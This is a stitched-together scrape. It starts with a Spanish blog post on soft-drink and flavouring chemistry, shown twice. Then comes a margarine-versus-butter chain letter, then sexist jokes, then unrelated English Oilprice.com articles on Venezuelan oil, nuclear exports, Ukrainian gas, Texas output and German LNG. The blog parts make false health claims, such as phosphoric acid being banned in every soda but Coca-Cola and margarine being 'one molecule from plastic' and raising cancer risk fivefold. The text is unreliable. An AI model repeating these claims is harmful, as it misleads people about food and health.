Aqui en Bartow, sur de Orlando, hay una empresa quimica que produce aromatizantes y esencias para zumos. Envian diariamente camionadas de sales concentradas y esencias para las fabricas de helados, gaseosas, jugos, enlatados y comida colorida y aromatizada.Cuando visite por primera vez la fabrica, pedi ver el deposito de concentrados de frutas, que deberia ser inmenso, especialmente los de naranja, pina, fresa y tantos otros. El encargado me miro, se rio y me llevo a visitar los depositos inmensos... pero de colorantes y componentes quimicos.

Las gaseosa de naranja no contiene naranja.

En los zumos dizque de fresa, hasta los puntitos que quedan en suspension estan hechos de goma (una liga quimica que envuelve un semi-polimero).

Pina, es un popurri de acidos y goma.

La esencia para helado de aguacate usa peroxido de hidrogeno (agua oxigenada) para dar la sensacion espumosa tipica del aguacate.

Bebidas Light?

Quieres saber la cantidad de basura que tiene un refresco 'light'? Yo ni siquiera los uso para destapar mi lavaplatos pues temo que danen los tubos de PVC. Los productos endulzantes 'ligth' tienen una vida media muy corta. Por ejemplo el

Despues de toda mi experiencia con la produccion de bebidas embasadas, puedo afirmar sin dudar un segundo: la mejor bebida es el agua, como tambien los jugos exprimidos de naranja o limon. Nada mas, cero azucar y cero sal.



Publicado por loretahur



En realidad, la formula secreta de la Coca-Cola se puede detallar en 18 segundos en cualquier espectrometro optico, y basicamente la conocen hasta los perros. Lo que ocurre es que no se puede fabricar igual, a no ser que uno disponga de unos cuantos millones de dolares para ganarle la demanda que te metera la Coca-Cola ante la justicia (ellos no perderian).La formula de la Pepsi tiene una diferencia basica con la de la Coca-Cola y es intencional, para evitar el proceso judicial. La diferencia es a proposito, pero suficientemente parecida como para atraer a los consumidores de Coca-Cola que prefieren un gusto diferente con menos sal y azucar.Tuve que aprender quimica, entender todo sobre componentes de gaseosas, conservantes, sales, acidos, cafeina, enlatado, produccion, permisos, aprobaciones y muchas otras cosas. Monte mi propio mini-laboratorio de analisis de productos.A patadas. El Cloruro de Sodio no solo refresca sino da mas sed, como para pedir otra gaseosa. Y no resulta desagradable porque la sal mata literalmente la sensibilidad al dulce... del que por cierto tambien tiene mucho: 39 gramos de azucar.De los 350 gramos de producto liquido, mas del 10% es azucar, o sea que en una lata de Coca-Cola mas de un centimetro y medio es puro azucar en polvo. Aproximadamente tres cucharadas soperas llenas de azucar por lata!!La formula de la Coca Cola es muy sencilla:Concentrado de azucar quemado caramelo- para dar color oscuro y gustoAcido fosforito (para darle el sabor acido)azucar (HFCS-jarabe de maiz de alta fructosa)Extracto de hojas de la planta de Coca (Africa e India) y otros pocos aromatizantes naturales de otras plantasMucha CafeinaConservante que puede ser Benzoato de Sodio o PotasioDioxido de Carbono en cantidad para sentir freir la lengua cuando se bebeSal para dar la sensacion de refrigeracionEl uso del acido fosforito y no del acido citrico como en todas las demas gaseosas, es para dar la sensacion de dientes y boca limpia al beber. El acido fosforito literalmente frie todo y dana el esmalte de los dientes, cosa que el acido citrico lo hace en menor grado.Trate de comprar acido fosforito para ver las mil recomendaciones de seguridad que te dan para su manipulacion (quema el cristalino del ojo, quema la piel, etc...). Esta prohibido usar el acido fosforito en cualquier otra gaseosa; solo la Coca Cola tiene permiso. Porque claro, sin el acido fosforico, la Coca Cola sabria a jabon.El extracto de coca y otras hojas casi no cambia en nada el sabor. Es mas bien un efecto cosmetico. El extracto forma parte de la Coca-Cola porque legalmente tiene que ser asi. Pero sin el, no se nota ninguna diferencia en el gusto, que esta dado basicamente por las cantidades diferentes de azucar, azucar quemada, sales, acidos y conservantes.Sabor a que...? ja, ja, ja.Aqui en Bartow, sur de Orlando, hay una empresa quimica que produce aromatizantes y esencias para zumos. Envian diariamente camionadas de sales concentradas y esencias para las fabricas de helados, gaseosas, jugos, enlatados y comida colorida y aromatizada.Cuando visite por primera vez la fabrica, pedi ver el deposito de concentrados de frutas, que deberia ser inmenso, especialmente los de naranja, pina, fresa y tantos otros. El encargado me miro, se rio y me llevo a visitar los depositos inmensos... pero de colorantes y componentes quimicos.Las gaseosa de naranja no contiene naranja.En los zumos dizque de fresa, hasta los puntitos que quedan en suspension estan hechos de goma (una liga quimica que envuelve un semi-polimero).Pina, es un popurri de acidos y goma.La esencia para helado de aguacate usa peroxido de hidrogeno (agua oxigenada) para dar la sensacion espumosa tipica del aguacate.Quieres saber la cantidad de basura que tiene un refresco 'light'? Yo ni siquiera los uso para destapar mi lavaplatos pues temo que danen los tubos de PVC. Los productos endulzantes 'ligth' tienen una vida media muy corta. Por ejemplo el aspartamo , despues de tres semanas mojado, pasa a tener gusto de trapo viejo sucio.Para evitar eso, se agregan una infinidad de otros productos quimicos, uno para alargar la vida del aspartamo, otro para neutralizar el color, otro para mantener el tercer quimico en suspension porque sino el fondo de la gaseosa quedaria oscuro, otro para evitar la cristalizacion del aspartamo, otro para realzar el sabor, dar mas intensidad al acido citrico o fosforito que perderia su sabor por el efecto de los cuatro productos quimicos iniciales... y asi sucesivamente.Un consejo final !!Despues de toda mi experiencia con la produccion de bebidas embasadas, puedo afirmar sin dudar un segundo: la mejor bebida es el agua, como tambien los jugos exprimidos de naranja o limon. Nada mas, cero azucar y cero sal.Publicado por loretahur

MARGARINA o MANTEQUILLA La margarina fue producida originalmente para engordar a los pavos; cuandolo que hizo en realidad fue matarlos.Las personas que habian puesto el dinero para la investigacion quisieronrecobrarlo asi que empezaron a pensar en una forma de hacerlo.Tenian una sustancia blanca, que no tenia ningun atractivo como comestible,asi que le anadieron el color amarillo, para venderselo a lagente en lugar de la mantequilla.Que tal esa?... Ahora han sacado algunos nuevos sabores para vender mas alos incautos como usted y yo.CONOCE USTED la diferencia entre la margarina y la mantequilla?Siga leyendo hasta el final... porque se pone bastante interesante!Comparacion entre mantequilla y margarina:

1.- Ambas tienen la misma cantidad de calorias.

2.- La mantequilla es ligeramente mas alta en grasas saturadas: 8 gramos,comparada con los 5 gramos que tiene la margarina.

3.- Comer margarina en vez de mantequilla puede aumentar en 53% el riesgo deenfermedades coronarias en las mujeres, de acuerdo con un estudiomedico reciente de la Universidad de Harvard.

4.- Comer mantequilla aumenta la absorcion de gran cantidad de nutrientesque se encuentran en otros alimentos.

5.- La mantequilla provee beneficios nutricionales propios mientras lamargarina tiene solo los que le hayan sido anadidos al fabricarla.

6.- La mantequilla sabe mucho mejor que la margarina y mejora el sabor deotros alimentos.7.- La mantequilla ha existido durante siglos mientras que la margarinatiene menos de 100 anos.

Ahora... sobre la margarina:

1.- Es muy alta en acidos grasos trans. (Si, esos que recien ahora loscientificos descubrieron que son malisimos y los gobiernoscomenzaron a prohibirlos) .

2.- Triple riesgo de enfermedades coronarias.

3.- Aumenta el colesterol total y el LDL (el colesterol malo) y disminuye elHDL (el colesterol bueno).

4.- Aumenta en cinco veces el riesgo de cancer.

5.- Disminuye la calidad de la leche materna.

6.- Disminuye la reaccion inmunologica del organismo.

7.- Disminuye la reaccion a la insulina.

Y he aqui el factor mas inquietante (AQUI ESTA LA PARTE MAS INTERESANTE! ):A la margarina le falta UNA MOLECULA para ser PLASTICO...!!Solo este hecho es suficiente para evitar el uso de la margarina de porvida, y de cualquier otra cosa que sea hidrogenada (esto significaque se le anade hidrogeno, lo cual cambia la estructura molecular de lassubstancias).Usted puede ensayar lo siguiente:Compre un poco de margarina y dejela en el garaje o en un sitio sombreado.Dentro de unos dias notara dos cosas:

* No habra moscas; ni siquiera esos molestos bichos se le acercaran (esto yale debe decir a usted algo).

* No se pudre ni huele mal o diferente porque no tiene valor nutritivo; nadacrece en ella. Ni siquiera los diminutos microorganismos puedencrecer en ella.Por que? Porque es casi plastico!!



No a la guerra, Si a la Paz



Misterios de la ciencia...



Los costos de la guerra



medicos y capitalismo...



medicos (2)



Quien educa a nuestros hijos?



Los Medios...



Sin Palabras...



Chistes feministas

- Cual es el problema, Eva?

- Se que me has creado, que me has dado este hermoso jardin, todos estos maravillosos animales y esa serpiente con la que me muero de risa... pero no soy del todo feliz...

- Como es eso, Eva? - replico Dios desde las alturas.

- Me encuentro sola, y ademas estoy harta de comer manzanas...

- Bueno Eva, en tal caso, tengo una solucion... creare un hombre para ti.

- Que es un hombre?

- Un hombre sera una criatura imperfecta, con muchas artimanas. Mentira, hara trampas, sera engreido... vamos, que te va a dar problemas... Pero, va a ser mas fuerte y rapido que tu y le gustara cazar y matar cosas... Tendra un aspecto simple, pero como te estas quejando, le creare de tal forma que satisfaga tus... eh... necesidades fisicas... Y tampoco sera muy listo, y destacara en cosas infantiles como pegarse o dar patadas a un balon... Necesitara tu consejo siempre para actuar cuerdamente.

- Suena bien - dijo Eva, mientras levantaba la ceja ironicamente.

- Cual es el truco?.

- Pues... que lo tendras con una condicion.

- Cual?

- Como te decia, sera chulo, arrogante y muy narcisista... asi que le tendras que hacer creer que le hice a el primero... recuerda... es nuestro secreto... de mujer a mujer.





Por que a los hombres no les puede dar la enfermedad de las vacas locas?  Porque todos son unos cerdos

Un dia, en el Paraiso, Eva llamo a Dios: Tengo un problema.- Cual es el problema, Eva?- Se que me has creado, que me has dado este hermoso jardin, todos estos maravillosos animales y esa serpiente con la que me muero de risa... pero no soy del todo feliz... - Como es eso, Eva? - replico Dios desde las alturas.- Me encuentro sola, y ademas estoy harta de comer manzanas...- Bueno Eva, en tal caso, tengo una solucion... creare un hombre para ti.- Que es un hombre?- Un hombre sera una criatura imperfecta, con muchas artimanas. Mentira, hara trampas, sera engreido... vamos, que te va a dar problemas... Pero, va a ser mas fuerte y rapido que tu y le gustara cazar y matar cosas... Tendra un aspecto simple, pero como te estas quejando, le creare de tal forma que satisfaga tus... eh... necesidades fisicas... Y tampoco sera muy listo, y destacara en cosas infantiles como pegarse o dar patadas a un balon... Necesitara tu consejo siempre para actuar cuerdamente.- Suena bien - dijo Eva, mientras levantaba la ceja ironicamente.- Cual es el truco?.- Pues... que lo tendras con una condicion.- Cual?- Como te decia, sera chulo, arrogante y muy narcisista... asi que le tendras que hacer creer que le hice a el primero... recuerda... es nuestro secreto... de mujer a mujer.Por que a los hombres no les puede dar la enfermedad de las vacas locas?  Porque todos son unos cerdos

Ellas (2)...



Tres venganzas femeninas VENGANZA NUMERO 1

Hoy mi hija cumple 21 anos y estoy muy contento porque es el ultimo pago de pension alimenticia que le doy, asi que llame a mi hijita para que viniera a mi casa y cuando llego le dije:

-Hijita, quiero que lleves este cheque a casa de tu mama y que le digas que: Este es el ultimo maldito cheque que va recibir de mi en todo lo que le queda de su puta vida!!! Quiero que me digas la expresion que pone en su rostro.

Asi que mi hija fue a entregar el cheque. Yo estaba ansioso por saber lo que la bruja tenia que decir y que cara pondria.

Cuando mi hijita entro, le pregunte inmediatamente: -Que fue lo que te dijo tu madre?

-Me dijo que justamente estaba esperando este dia para decirte que no eres mi papa!



VENGANZA NUMERO 2

Un hombre que siempre molestaba a su mujer, paso un dia por la casa de unos amigos para que lo acompanaran al aeropuerto a dejar a su esposa que viajaba a Paris.

A la salida de inmigracion, frente a todo el mundo, el le desea buen viaje y en tono burlon le grita:

- Amor, no te olvides de traerme una hermosa francesita Ja ja ja!!

Ella bajo la cabeza y se embarco muy molesta.

La mujer paso quince dias en Francia.

El marido otra vez pidio a sus amigos que lo acompanasen al aeropuerto a recibirla.

Al verla llegar, lo primero que le grita a toda voz es:

- Y amor me trajiste mi francesita??

- Hice todo lo posible, - contesta ella - ahora solo tenemos que rezar para que nazca nina.



VENGANZA NUMERO 3

El marido, en su lecho de muerte, llama a su mujer. Con voz ronca y ya debil, le dice: - Muy bien, llego mi hora, pero antes quiero hacerte una confesion.

- No, no, tranquilo, tu no debes hacer ningun esfuerzo.

- Pero, mujer, es preciso - insiste el marido - Es preciso morir en paz.

Te quiero confesar algo.

- Esta bien, esta bien. Habla!

- He tenido relaciones con tu hermana, tu mama y tu mejor amiga.

- Lo se, lo se Por eso te envenene, hijo de puta!!!



machismo y cibernetica



Chiste machista La NASA ha enviado al espacio una mision experimental tripulada por dos monos y una mujer.Apenas abandona la atmosfera, se establece comunicacion con Houston.

-Atencion, simio 1, verifique sistemas hidraulicos, controle adecuada presion de los propulsores de arranque. A 60.000 pies disminuya un 25% la velocidad.

El simio hace la sena de OK.

-Atencion, simio 2, nivele al cruzar la estratosfera y active sistemas anticongelantes. No olvide monitorear sistemas de comunicacion e indicadores de presion. Comprendido?.

El simio hace la sena de OK.

-Atencion, Houston llamando a mujer: no se olvide.

-Mujer: Si, si, ya se! -interrumpe enojada- que no me olvide darles de comer a estos monos de mierda y que no se me vaya a ocurrir tocar nada!.



.Spaghetti, Spaghetti, Spaghetti, Spaghetti, Spaghetti.

Un abogado mantiene un romance con su secretaria.Al poco tiempo, esta queda embarazada y el abogado, que no quiere que su esposa se entere, le da a la secretaria una buena suma de dinero y le pide que se vaya a parir a Italia.Esta pregunta: Y como voy a hacerte saber cuando nazca el bebe ? El abogado responde: Para que mi mujer no se entere, tan solo enviame una postal y escribe por detras: Spaghetti. Y no te preocupes mas, que yo me encargare de todos los gastos.

Pasan los meses y una manana la esposa del abogado lo llama al bufete, algo exaltada: Querido, acabo de recibir el correo y hay una postal muy extrana viene desde Italia. La verdad, no entiendo que significa.El abogado, tratando de ocultar sus nervios, contesta:Espera a que llegue a casa, a ver si yo entiendoCuando el hombre llega a casa y lee la postal, cae al suelo fulminado por un infarto.Llega una ambulancia y se lo lleva. Ya en el hospital, el jefe de cardiologia se queda consolando a la esposa y le pregunta cual ha sido el evento que precipito tan masivo ataque cardiaco.

Entonces la esposa saca la postal y se la muestra diciendole: No me explico, doctor; el solamente leyo esta postal. Vea usted mismo lo que trae escrito.Spaghetti, Spaghetti, Spaghetti, Spaghetti, Spaghetti."Tres con salchicha y albondigas y dos con almejas



Gol !!!!



Chistes de Borrachos Entra un borracho a su casa todo manchado con lapiz labial por todos lados hecho un desastre, y la mujer le pregunta:-Hombre que te paso?Y el borracho le responde:-No me vas a creer, me pelee con un payaso!



Este es un borracho que entra en un bar y le dice al camarero:-Me da cinco copas de whisky?Al rato:-Me da cuatro?Al rato:-Me da tres copas?Despues:-Me da dos copas?Luego le dice:-Me da una copa?Y le dice al camarero:-Ves? Cuanto menos bebo, mas borracho estoy!

From Greg Swank, 12-4-2 You are about to read a list of 45 goals that found their way down the halls of our great Capitol back in 1963. As...U.S. National Security Advisor John Bolton has warned countries and companies against buying crude oil from Venezuela, after the Latin American countrys Oil Minister Manuel Quevedo said during a surprise visit to India that Venezuela wants to sell more oil to the fast-growing Indian market.

In a tweet with a Bloomberg article on Venezuelan-Indian oil relations attached, Bolton wrote: Nations and firms that support Maduros theft of Venezuelan resources will not be forgotten. The United States will continue to use all of its powers to preserve the Venezuelan peoples azsets and we encourage all nations to work together to do the same.

We have a good relationship with India and we want to continue this relationship. The relationships with India will continue, the trade will continue and we will simply expand all the trade and relationship, Indian outlet Business Today quoted the Venezuelan minister as saying on the sidelines of the Petrotech conference in India this week.

At the start of the Venezuelan political crisis last month, Indian media reported that the Asian country continues to be one of the main buyers of Venezuelan crude oil. Indian refiners keep buying more than 400,000 bpd of oil from the troubled Latin American country, which is sitting on the worlds largest crude oil resources.

In separate Venezuela-and-sanctions-related news, Bulgarian security officials said on Wednesday that they had blocked several bank accounts in a local bank that have received millions of euros from Venezuelas state oil firm PDVSA, on which the U.S. slapped sweeping sanctions at the end of January.

Bulgarias security services and prosecutors office were tipped off by the U.S. about those money transfers and have blocked transfers out of the bank accounts.

We have established that there were money transfers from Venezuela, namely from the state oil company of Venezuela to these accounts, Reuters quoted Bulgarias chief prosecutor Sotir Tsatsarov as telling reporters.

The security officials will be looking into those accounts before deciding whether to press charges on money laundering, the prosecutor noted.



By Tsvetana Paraskova for Oilprice.com

More Top Reads From Oilprice.com:Executives from major U.S. nuclear energy companies met with President Trump yesterday to ask for the administrations help in expanding abroad, Bloomberg reports, citing sources in the know.

It seems U.S. nuclear plant builders feel left out of an international race that could be very profitable.

There is competition around the globe, and we want to be part of it, Bloomberg quoted the chief executive of Exelon Corp., Chris Crane, as saying.

The help that the industry is seeking from the government involves financial assistance to make their products more competitive with other companies that are already receiving financial support from the governments, notably Russian and Chinese companies, but also French reactor builders. All these are also on an international expansion drive.

The United States needs to maintain a leadership position, Exelons Crane told media after the meeting. Theres a huge economic upside for jobs -- manufacturing jobs, operating jobs, engineering jobs -- that can be created in us playing a more stronger role in the international economy.

The U.S. nuclear industry is hard pressed to find new markets as local power plants age and become uncompetitive with renewable energy installations, following the path of coal-powered plants. Since the domestic market seems to be saturated with nuclear plants, the only viable option is expanding abroad.

Also, approval for new reactor technology would come in handy. The industry is working on next-generation reactors as well as smaller, modular nuclear reactor technology--but these need to be approved at the highest level before joining the competition.

The International Energy Agency forecasts the world will need 554 GW of new nuclear power generation capacity by 2030. Thats 42 percent more than the worlds current capacity. As in many other respects, China and India will spearhead this demand increase, with the IEA expecting nuclear power generation globally to rise by 46 percent between now and 2040, with the two Asian economies accounting for 90 percent of this rise.

By Irina Slav for Oilprice.com

More Top Reads From Oilprice.com:In a sign things for the oil industry in Canadas oil industry are improving, albeit slowly, bankruptcies in the industry last year declined by as much as 50 percent compared with 2017, data from the Office of the Superintendant of Bankruptcy showed.

Only 15 bankruptcies took place in Canadas oil and gas extraction sector, versus 30 a year earlier as prices continued to recover from the 2014 collapse despite specific challenges hat still remain, mainly pipeline capacity shortages and costly railway transport of crude.

Yet the situation with oil prices was not the only one that drove the substantial decline in bankruptcies, the Calgary Herald reports. The daily quoted David Lewis, member of the Canadian Association of Insolvency and Restructuring Professionals as saying some bakruptcies may have been simply delayed in anticipation of an important ruling by the Supreme Court.

The ruling was on a case involving a bankrupt oil company Redwater Energy, and had to prescribe whose responsibility it is to clean up inactive oil wells. The ruling came out in January, with the Court taking the side of the Alberta government and the Alberta Energy Regulator, which argued this responsibility lay with the bankrupt companys trustee.

Either the companies or their main creditors may have been holding off on doing anything, because until a decision on Redwater was made on whether you had to do a cleanup or not, it made a big difference on what they may receive as a payout, the expert said.

Despite the improving performance of oil companies, the situation in the overall economy of Alberta remains rather dire, with individual insolvencies in the oil province rising last year by a tenth from 2017.

Unemployment rates remain high and Alberta has the highest debt per capita, according to Lewis. This suggests one of the biggest employers in the province still cannot afford to expand its workforce to pre-crisis levels, regardless of improving oil prices.

By Irina Slav for Oilprice.com

More Top Reads From Oilprice.com:The Venezuelan opposition led by Juan Guaido could soon become the owner of PDVSAs U.S. refining business, Citgo, in what would only deepen the chaos surrounding the countrys state oil company.

Guaido declared himself interim president and appointed an interim government in anticipation for new elections after he decried incumbent Nicolas Maduros second victory earlier this year. But the opposition leader and President of the opposition-dominated National Assembly also said he was about to announce an alternative board of directors for both PDVSA itself and Citgo as well. If this happens, Venezuela will not only have two presidents and two parliaments, but also two state oil companies.

This plot that would fit right in among Hollywood blockbusters is a legal quagmire, to say the least. In fact, Bloombergs Davide Scigliuzzo calls it a nightmarish legal situation. It is indeed a nightmare: Citgo is registered in the United States, but its owner is Venezuelas state oil company--that is, Venezuela.

Besides, there is a line of PDVSA creditors and companies fighting against Caracas in court after the forced nationalization of their businesses by Hugo Chavez waiting to get their hands on at least a piece of Citgo, or better yet, the whole company. One notable creditor in the line is Rosneft, whom PDVSA granted a majority stake in Citgo as collateral for a loan. And now, on top of all this, Citgo may end up with two managements and two boards of directors.

Scigliuzzo predicts it will all end in court and it will be a U.S. court. This, he says, means that more likely than not ownership of Citgo will pass into the hands of Guaido, based on a precedent involving Communist China and the nationalist government that was overthrown by the Communists. In that case, concerning a deposit of over US$600,000 with Wells Fargo, the U.S. court ruled in favor of the nationalist government, which was the one Washington supported, Scigliuzzo notes. It would only make sense that any U.S. court will comply with Washingtons sympathies on the Citgo case as well. Related: U.S. Sanctions, OPEC Cuts Create Rare Oil Price Shakeup

The court will defer to what the State Department says and I think the State Department in the U.S. has made it really clear who they think is the proper representative of the Venezuelan people, Scigliuzzo quoted a Duke University law professor, Mitu Gulati, as saying.

So, that particular matter is more or less settled, and a surprise is unlikely. But what will happen next? The parent company would still be in a schizoid state, with two boards of directors, and there is far less certainty that the Guaido-appointed board will be recognized as the legitimate one in Venezuela. This means, then, that Citgo could end up owned by the opposition while the Maduro government owns its parent company.

Besides the legal headaches, this means Citgo will need to find other sources of crude: Venezuelan exports to the United States are already in decline following the last round of sanctions issued by Washington. PDVSA, on the other hand, will have to find new markets for the crude it is still producing. The wild cards that are PDVSAs creditors and other compensation seekers make a whole deck, adding a lot of further complexity to the situation. Its anyones guess how things will end with Venezuelas most important state company.

By Irina Slav for Oilprice.com

More Top Reads From Oilprice.com:Last month, Ukraine announced that it had exported its own natural gas to Europe for the first time in 15 years. Although the amount was small  practically the minimum viable amount for a gas transfer  Ukraine believes its symbolic significance is far larger. Officials say the transfer provided a test of their ability to export gas, a crucial milestone as the country moves towards energy independence.

Having already passed several pro-European reforms to decouple itself from Moscow, Ukraine is now striving to wean itself off Gazprom, Russias state-owned gas giant. To Ukrainians, severing ties with Gazprom is a matter of national security; Moscow has long weaponized its monopoly by turning off the gas pipes during the freezing winter months, forcing Ukraine into political concessions. After five years of Russian aggression in the Donbass, Kiev is more desperate than ever for economic freedom.

But if Ukraine is to achieve energy independence  something both President Petro Poroshenko and his main rival Yulia Tymoshenko have promised ahead of the countrys elections this spring  it must negotiate a labyrinth of logistical problems. Indeed, Russias gas supply has fostered a strange symbiosis between Kiev and Moscow ever since the collapse of Communism. On the one hand, Ukraine has long relied on Russia to heat its homes and business. Yet, on the other, Russia requires its neighbor to provide a conduit to Europe. Of the 193 billion cubic meters of gas Russia sent west in 2017, around 40 percent transited through Ukraine.

This relationship has come under ever-increasing scrutiny in Ukraine ever since the 2014 revolution. Against the backdrop of repeated antagonism from Putin, Poroshenko has helped steer Ukraine closer to Europe, changing its constitution to facilitate EU membership while passing key linguistic and clerical reforms to dilute Muscovite influence. Energy is very much a final frontier; Ukrainians bitterly recall the ruinous gas deal struck by Tymoshenko herself back in 2009, which committed Ukraine to buy Russian gas at inflated prices and earned her the sobriquet the gas princess. Related: Texas Oil Production Breaks New Record

Ten years on, both Tymoshenko and the Ukrainian energy sector have performed a volte-face. The veteran politician is currently leading the presidential polls, partly on her promise to get tough on Moscow. State-owned Naftogaz, meanwhile, has won a landmark victory over Gazprom in a Stockholm courtroom, whose judges nullified the gas prices agreed by Tymoshenko and ruled that Ukraine no longer has to buy a fixed amount from Gazprom every year. In a further sign of defiance, Ukraine has begun taking gas from Europe by reversing the pipeline flow, providing a way to beat Russian supply clamps. Naftogaz claims that Ukraine has gone from importing 74 percent of its gas from Russia to 100 percent from Europe.

Short-term measure

But if Ukraine wants real energy independence, this defiance is merely a stepping stone. Rather than simply rerouting the pipes, Kiev must tap into its own huge untapped gas stores. According to BP, Ukraine harbors 600 bcm of proven reserves, enough to cover its energy needs for the next 20 years. Yet the country has been neglecting these reserves ever since the 1970s, when the Soviet Union turned to Siberia as its primary extraction source. Today, it realizes just 3 percent of its deposits every year.

To address this problem, Poroshenkos government plans to hike domestic gas production from 20bcm in 2016 to 27.6bcm by 2020. Efforts have already been made to demonopolize the sector, adopting EU rules guaranteeing equal access to all suppliers which should, in theory, entice new traders. Taxes on well-diggers have been slashed to encourage exploration, and an international auction on 30 new concessions is slated for this year.

But will this activity be enough? So far, Ukraine has only managed to increase production by around 1bcm; even if it does hit the 2020 target, thats still some way short of the countrys total gas consumption, which exceeds 30 bcm (thats with much of the country under the control of Russia-backed separatists).

Related: The Biggest Threat To Oil Market Stability

To bridge this gap, Ukraine urgently needs to upgrade its gas pipelines and compressor stations, the majority of which date back to the Soviet era. But this wont come cheap; analysts say that Ukraine needs to invest $6 billion to bring the sector up to speed, not easy given that public debt has already reached 65 percent of GDP.

Counter-threat

Underpinning all this, of course, theres a strong political current. While Ukraine talks of turning Gazprom off, Moscow is making provocative noises of its own. The Kremlin is pushing ahead with construction of the Nord Stream II pipeline, which, when complete, will reroute Russian gas to Europe via the Baltic  and could cut Ukraine out of the loop. The two countries are currently discussing the renewal of their current transit contract, which expires at the end of the year, but so far Russia has been coy about its intentions.

If Russia decides to bypass Ukraine, it will be disastrous for Kiev, and not just because of the $3 billion it will lose in transit fees. The current energy contract with Gazprom may be a source of oppression, but it also offers an insurance policy. The transit routes give Russia a vested interest in Ukraine, a reason to refrain from actually invading  the risk of which would otherwise rise sharply. With Putin already harassing Ukrainian vessels in the Kerch Strait, and massing troops on the Ukrainian border, its troubling to think what he might do if that vested interest were removed.

So, as the negotiations continue, Ukraine faces a delicate balancing act. While reducing its exposure to Russian influence, it must avoid provoking Putin unduly, a dilemma which will sorely test the countrys next president  whoever that is. Given the starkly different tone between the two candidates in relation to the recent reforms, a change in leadership at this juncture could very well put the fate of those milestones into doubt. But, having controlled Ukraines energy market for decades, Russia wont let its former satellite wriggle free without a fight.

By Christopher Stakhovksy for Oilprice.com

More Top Reads From Oilprice.com:The state of Texas now has even more bragging rights in the U.S. Oil Patch, and even globally According to a new report from the Texas Independent Producers Royalty Owners Association, the Lone Star states oil production hit a record level not seen since 1973, the same year of the Arab oil embargo that roiled global oil markets.

Texas oil wells produced more than 1.54 billion barrels of crude in 2018, topping the previous record of 1.28 billion barrels set in 1973, TIPRO reported in its annual "State of Energy Report. Natural gas production also grew, reaching 8.8 trillion cubic feet (tcf) last year. In 2017, Texas also came close to beating the 1973 oil output record, pumping 1.26 billion barrels of oil.

To put Texas oil production in perspective, if it were a country, it would be the world's third oil producer sometime this year, behind only Russia and Saudi Arabia, HSBC said in a report. The main engine of Texas oil output is the Permian basin that spans West Texas and southeastern New Mexico and is one of the most prolific oil and gas producing regions in the U.S. The Permian Basin is approximately 250 miles wide and 300 miles long, across West Texas and southeastern New Mexico. It encompasses several sub-basins, including the Delaware Basin and the Midland Basin.

U.S. production revolutionizes global oil markets

Record-breaking U.S. oil production is expected to continue for decades, driven largely by the Permian Basin, the U.S. Energy Information Administration (EIA) said in its Annual Energy Outlook two weeks ago. In the outlook's reference case, the EIA forecasts U.S. oil output, which averaged 10.93 million b/d in 2018, to climb to nearly 15 million b/d by 2027 before flattening out and falling below 12 million b/d by 2050. Shale production in the Lower 48 states will account for nearly 70 percent of domestic production over the next three decades, according to the report. The majority of the growth will take place in the Permian, according to Meg Coleman, leader of EIA's exploration and production team. Related: Which Oil Giant Generates The Most Cash?

The EIA also projected that the U.S. will become a net energy exporter in 2020 and remain so through at least 2050, due largely to a rapid growth of domestic crude, gas and natural gas liquids (NGLs) output and a slowdown in US consumption growth.

U.S. oil production has changed global oil markets over the last several years, catching both global oil players and Russia and a Saudi-led OPEC off-guard. U.S. production was largely responsible for an oil glut in late 2014 that saw Saudi Arabia change course and instead of cutting back production to support prices that were its standard policy for decades, it actually ramped up production to not only drive U.S. shale producers out of business but to guard its market share. However, the plan backfired, almost driving the kingdom into a financial tailspin, and saw oil prices plunge from around $100 per barrel in mid-2014 to just under $30 per barrel in Jan. 2016. In essence, it was U.S oil output that forced Saudi Arabia to reach out to Russia and other non-OPEC players and form the so-called OPEC+ group of producers to try to take back control of global oil markets.

Going forward, U.S. oil production will still cause havoc for OPEC+ as the group makes good on its recent deal to trim oil output. Other factors, including the loss of both Iranian and Venezuelan barrels, the outcome of U.S.-China trade talks, and economic growth also come into play. Finally, what Saudi Arabia could for decades, play the part of global oil markets swing producer, it now has to do with Russian help and at the end of the day, U.S. production, albeit driven by Texas production, is the reason why.

By Tim Daiss for Oilprice.com

More Top Reads From Oilprice.com:More news has broken about Germanys natural gas plans that could help provide markets for U.S. liquefied natural gas (LNG), but could also cause problems for the nearly completed Nord Stream 2 gas pipeline. The first development came on Tuesday when German Economy Minister Peter Altmaier said during a meeting with German and American energy officials and industry lobbyists that he was optimistic that Germany would build two LNG terminals in the foreseeable future, according to a Reuters report.

He added that Germany was weighing up the extent of state subsidies and regulations before private investors build the terminals needed for LNG imports. Currently, there are three possible sites for new LNG terminals in the country, including Brunsbuettel, Stade and Wilhelmshaven. All three projects are (being) carefully considered and examined, Altmaier said. I am quite optimistic that at least two of the terminals will be realized within a very foreseeable period of time.

Denying geopolitical associations

Altmaier added that the question of LNG was not related to the Nord Stream 2 gas pipeline project. Nord Stream 2 is a 759 mile (1,222 km) natural gas pipeline running on the bed of the Baltic Sea from Russian gas fields to Germany, bypassing existing land routes over Ukraine, Poland and Belarus. It will double the existing Nord Stream pipelines current annual capacity of 55 bcm. It is arguably one of the most geopolitically charged energy projects ever proposed since it increases Russias gas monopoly in Europe at a time when several EU states are trying to move away from over-reliance on Russias gas supply. Related: OPECs Next Big Crisis

Altmaier's comments that Germanys LNG development is not related to the controversial Nord Stream 2 pipeline comes less than a year after President Trump publicly chided Germany over the countrys support of the Russian backed Nord Stream 2 pipeline, alleging that the U.S. was helping provide security for Germany, while the country was being exposed to greater reliance on Russian piped gas.

Over the next several months, many in Europe accused Trump of using European security concerns to promulgate American sourced LNG. Yet, the Germans were the first to blink in the geopolitical showdown when they stated that they were indeed interested in putting in place needed LNG infrastructure and signing deals with American-based LNG producers.

In remarks at the same meeting on Tuesday, Almaier stressed the decades-old U.S.-German alliance. I have always advocated a close friendship between Germany and the US, and I believe this is in both of our national security interests, he said. LNG one important point of cooperation between the countries.

U.S. deputy energy secretary Dan Brouillette said at the meeting the U.S. was prepared to be a transparent, competitive and reliable supplier of LNG to Europe. The U.S. is just getting started as an LNG exporter, he added. Energy occupies the nexus between national security and economic prosperity, said Brouillette. Access to abundant, affordable, reliable, and secure supplies of energy is a fundamental national security concern for every country. Related: Hedge Funds Unsure Where Oil Prices Are Going

